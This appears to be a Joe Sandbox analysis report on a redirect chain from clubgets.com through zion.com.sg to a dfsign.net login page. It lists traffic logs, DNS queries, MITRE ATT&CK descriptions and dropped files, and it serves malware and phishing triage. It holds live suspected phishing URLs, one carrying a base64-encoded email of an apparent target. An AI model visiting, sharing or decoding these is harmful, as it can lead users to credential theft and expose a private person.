Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: Iframe src: https://58fdca4b-b5027fcd.dfsign.net/Prefetch/Prefetch.aspx

Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No favicon

Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="author".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="author".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="author".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="author".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="author".. found

Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="copyright".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="copyright".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="copyright".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="copyright".. found
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.68
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.68
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.68
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.68
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.clubgets.com
Source: global traffic	DNS traffic detected: DNS query: zion.com.sg
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: login.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 9676170e-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 00459cc6-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 03e75177-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: l1ve.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 58fdca4b-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 5eddaa21-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 9b4922d2-b5027fcd.dfsign.net
Source: global traffic	DNS traffic detected: DNS query: 8ae57709-b5027fcd.dfsign.net

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Software Vulnerabilities

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 77

Windows Analysis Report
https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m